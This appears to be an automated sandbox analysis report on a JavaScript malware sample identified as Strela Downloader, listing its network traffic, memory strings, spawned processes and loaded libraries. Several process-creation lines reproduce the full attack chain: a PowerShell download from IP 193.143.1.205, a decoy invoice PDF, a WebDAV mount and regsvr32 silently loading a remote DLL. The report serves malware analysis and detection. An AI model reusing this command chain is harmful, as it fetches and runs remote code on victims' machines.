HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2211080098.000001F0E6A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2281310050.000001C431F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2279833619.000001C431ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000007.00000002.2279833619.000001C431ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.3507382728.0000021A6308C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2266869600.0000021A62FD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3192, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 533625797193620143.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1016:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yhogiax1.xkm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1544,i,201057173347736975,16935807668665413963,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1544,i,201057173347736975,16935807668665413963,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
